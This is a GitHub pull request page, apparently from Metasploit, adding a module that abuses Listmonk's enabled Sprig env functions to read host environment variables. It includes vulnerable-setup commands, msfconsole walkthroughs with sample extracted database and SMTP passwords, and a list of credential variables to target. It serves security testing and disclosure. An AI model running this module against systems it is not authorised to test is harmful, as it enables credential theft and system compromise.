Skip to content

Conversation

nakkouchtarek
Copy link
Contributor

@nakkouchtarek nakkouchtarek commented Oct 2, 2025

Description

This PR adds an auxiliary scanner module for an insecure template function vulnerability in in Listmonk versions >= v4.0.0 and < v5.0.2.. The issue exists in the campaign preview functionality, where dangerous Sprig template functions (env and expandenv) are enabled by default. This allows authenticated users with minimal campaign permissions (campaigns:get and campaigns:get_all) to read arbitrary environment variables on the host system through campaign template previews. Environment variables in Listmonk deployments often contain sensitive information such as database credentials, SMTP passwords, API keys, and admin credentials, leading to potential full system compromise.

Required Privileges

For this exploit to work, the authenticated user must have the following privileges:

  • campaigns:get - Permission to get and view campaigns belonging to permitted lists
  • campaigns:get_all - Permission to get and view campaigns across all lists

These are minimal privileges that can be assigned to non-admin users in multi-user Listmonk
installations, making this vulnerability particularly dangerous as it allows privilege escalation
through environment variable disclosure.

Docker Installation (Vulnerable Version)

To install the vulnerable version, run the following command :

curl -LO https://github.com/knadh/listmonk/raw/master/docker-compose.yml
sed -i 's|image: listmonk/listmonk:latest|image: listmonk/listmonk:v5.0.1|' docker-compose.yml
docker compose up

Vulnerable Versions

  • Listmonk >= v4.0.0 and < v5.0.2

Patched Versions

  • Listmonk >= v5.0.2

Verification Steps

  1. Start msfconsole
  2. Do: use auxiliary/gather/listmonk_env_disclosure
  3. Do: set RHOSTS [target]
  4. Do: set USERNAME [username]
  5. Do: set PASSWORD [password]
  6. Optional: set ENVVAR [comma-separated environment variables]
  7. Do: run
  8. You should see extracted environment variable values

Options

USERNAME

The Listmonk username for authentication. This must be a valid user account with
the required campaigns:get and campaigns:get_all permissions.

PASSWORD

The Listmonk password for authentication.

ENVVAR

A comma-separated list of environment variable names to extract. If not specified,
the module will automatically attempt to extract a default list of common sensitive
environment variables.

Default variables extracted (when ENVVAR is not set):

  • LISTMONK_db__host - Database host
  • LISTMONK_db__port - Database port
  • LISTMONK_db__user - Database username
  • LISTMONK_db__password - Database password
  • LISTMONK_db__database - Database name
  • LISTMONK_app__address - Application address

Examples of custom variables to target:

  • LISTMONK_app__admin_username, LISTMONK_app__admin_password - Admin credentials
  • SMTP_HOST, SMTP_PORT, SMTP_USER, SMTP_PASSWORD - Email server credentials
  • AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY - Cloud provider credentials
  • DATABASE_URL, REDIS_URL - Connection strings
  • SECRET_KEY, API_KEY - Application secrets
  • PATH, HOME, USER - System environment variables

CAMPAIGN_NAME

Optional campaign name to use for the temporary campaign created during extraction.
If not specified, a random name will be generated to avoid collisions when running
the module multiple times. The campaign is automatically deleted after extraction.

Scenarios

Running Check to Verify Target is Vulnerable

msf6 auxiliary(gather/listmonk_env_disclosure) > set RHOSTS 192.168.1.100
RHOSTS => 192.168.1.100
msf6 auxiliary(gather/listmonk_env_disclosure) > set USERNAME admin
USERNAME => admin
msf6 auxiliary(gather/listmonk_env_disclosure) > set PASSWORD adminadmin
PASSWORD => adminadmin
msf6 auxiliary(gather/listmonk_env_disclosure) > check

[*] 192.168.1.100:9000 - The target appears to be vulnerable. Listmonk version 5.0.1 is vulnerable

Extract Default Environment Variables

Running the module without specifying ENVVAR will automatically extract the default
list of common Listmonk environment variables:

msf6 > use auxiliary/gather/listmonk_env_disclosure
msf6 auxiliary(gather/listmonk_env_disclosure) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf6 auxiliary(gather/listmonk_env_disclosure) > set USERNAME admin
USERNAME => admin
msf6 auxiliary(gather/listmonk_env_disclosure) > set PASSWORD adminadmin
PASSWORD => adminadmin
msf6 auxiliary(gather/listmonk_env_disclosure) > run

[*] Running module against 127.0.0.1
[*] Targeting http://127.0.0.1:9000/
[+] Login successful
[*] Using default environment variable list (6 variables)
[*] Executing template to extract environment variables...
[+] Environment variable(s) extracted:

LISTMONK_db__host: localhost
LISTMONK_db__port: 5432
LISTMONK_db__user: listmonk_user
LISTMONK_db__password: my_secure_db_password123
LISTMONK_db__database: listmonk
LISTMONK_app__address: 0.0.0.0:9000

[*] Auxiliary module execution completed

Extract Specific Environment Variables

You can target specific environment variables by providing a comma-separated list:

msf6 auxiliary(gather/listmonk_env_disclosure) > set ENVVAR LISTMONK_db__password,LISTMONK_app__admin_password,SMTP_PASSWORD
ENVVAR => LISTMONK_db__password,LISTMONK_app__admin_password,SMTP_PASSWORD
msf6 auxiliary(gather/listmonk_env_disclosure) > run

[*] Running module against 127.0.0.1
[*] Targeting http://127.0.0.1:9000/
[+] Login successful
[*] Targeting specific environment variables: LISTMONK_db__password, LISTMONK_app__admin_password, SMTP_PASSWORD
[*] Executing template to extract environment variables...
[+] Environment variable(s) extracted:

LISTMONK_db__password: my_secure_db_password123
LISTMONK_app__admin_password: admin_secret_password
SMTP_PASSWORD: smtp_pass_2024

[*] Auxiliary module execution completed

Extract Single Environment Variable

msf6 auxiliary(gather/listmonk_env_disclosure) > set ENVVAR PATH
ENVVAR => PATH
msf6 auxiliary(gather/listmonk_env_disclosure) > run

[*] Running module against 127.0.0.1
[*] Targeting http://127.0.0.1:9000/
[+] Login successful
[*] Targeting specific environment variables: PATH
[*] Executing template to extract environment variables...
[+] Environment variable(s) extracted:

PATH: /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

[*] Auxiliary module execution completed

@msutovsky-r7 msutovsky-r7 self-assigned this Oct 2, 2025
@nakkouchtarek
Copy link
Contributor Author

Thanks for the thorough review! I've addressed all the feedback in the following commits:

Main improvements:

  • Lower bound version check (cc377a0, f852851) - Added >= v4.0.0 to vulnerability range
  • Replace manual cookie handling (4897a4f) - Use keep_cookies option for cleaner code
  • Use Nokogiri for HTML parsing (0bb3074) - Use get_html_document to parse nonce
  • Use get_json_document (596df2d, f8e27e7) - Proper JSON parsing in check and create_campaign methods
  • Handle exceptions in check method (c20b001) - Always return proper CheckCode
  • Extract from wrap div (eea35cb) - Target specific wrap div element for reliable extraction
  • Random campaign names (8345418) - Prevent collisions on multiple runs using Rex::Text.rand_text_alpha
  • Campaign cleanup (0d9c2d0) - Automatically delete campaigns after extraction to remove artifacts
  • Enhanced ENVVAR option (39834bd) - Support comma-separated values with smart default list

All conversation threads have been resolved. Please let me know if anything needs further adjustment!

Copy link
Contributor

@jheysel-r7 jheysel-r7 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thanks for the module @nakkouchtarek! Looks like it's almost ready to go, just two comments.

Testing

msf auxiliary(gather/listmonk_env_disclosure) > rexploit 
[*] Reloading module...
[*] Running module against 127.0.0.1
[*] Targeting http://127.0.0.1:9000/
[*] Using default environment variable list (6 variables)
[+] Login successful
[*] Executing template to extract environment variables...
[+] Environment variable(s) extracted:

LISTMONK_db__host: listmonk_db
LISTMONK_db__port: 5432
LISTMONK_db__user: listmonk
LISTMONK_db__password: listmonk
LISTMONK_db__database: listmonk
LISTMONK_app__address: 0.0.0.0:9000

[*] Auxiliary module execution completed

msf auxiliary(gather/listmonk_env_disclosure) > set ENVVAR path 
ENVVAR => path
msf auxiliary(gather/listmonk_env_disclosure) > run 
[*] Running module against 127.0.0.1
[*] Targeting http://127.0.0.1:9000/
[*] Targeting specific environment variables: PATH
[+] Login successful
[*] Executing template to extract environment variables...
[+] Environment variable(s) extracted:

PATH: /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

[*] Auxiliary module execution completed

@jheysel-r7
Copy link
Contributor

@nakkouchtarek also would you mind squashing your commits down once you addressed the final comments? I did really appreciated how organized your commits were during the review process, made reviewing very nice!

@nakkouchtarek
Copy link
Contributor Author

nakkouchtarek commented Oct 8, 2025

@jheysel-r7 Hi, glad you found the commits helpful! I definitely had you guys in mind when making changes, so I made sure to keep each change separate, especially looking at the amount of changes. All final issues have been addressed and I've squashed everything to one commit. Let me know if there's anything else to change, glad to be of help!

@jheysel-r7 jheysel-r7 added the rn-modules release notes for new or majorly enhanced modules label Oct 8, 2025
@jheysel-r7
Copy link
Contributor

jheysel-r7 commented Oct 8, 2025

Release Notes

This adds an auxiliary scanner module for an insecure template function vulnerability in Listmonk versions >= v4.0.0 and < v5.0.2. This allows authenticated users with minimal permissions to read arbitrary environment variables on the host system through campaign template previews. Environment variables in Listmonk deployments often contain sensitive information such as database credentials, SMTP passwords, API keys, and admin credentials, leading to potential full system compromise.

@github-project-automation github-project-automation bot moved this from Todo to In Progress in Metasploit Kanban Oct 8, 2025
@jheysel-r7 jheysel-r7 merged commit a8ec46f into rapid7:master Oct 8, 2025
19 checks passed
@github-project-automation github-project-automation bot moved this from In Progress to Done in Metasploit Kanban Oct 8, 2025
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

docs module rn-modules release notes for new or majorly enhanced modules

Projects

Status: Done

Development

Successfully merging this pull request may close these issues.

4 participants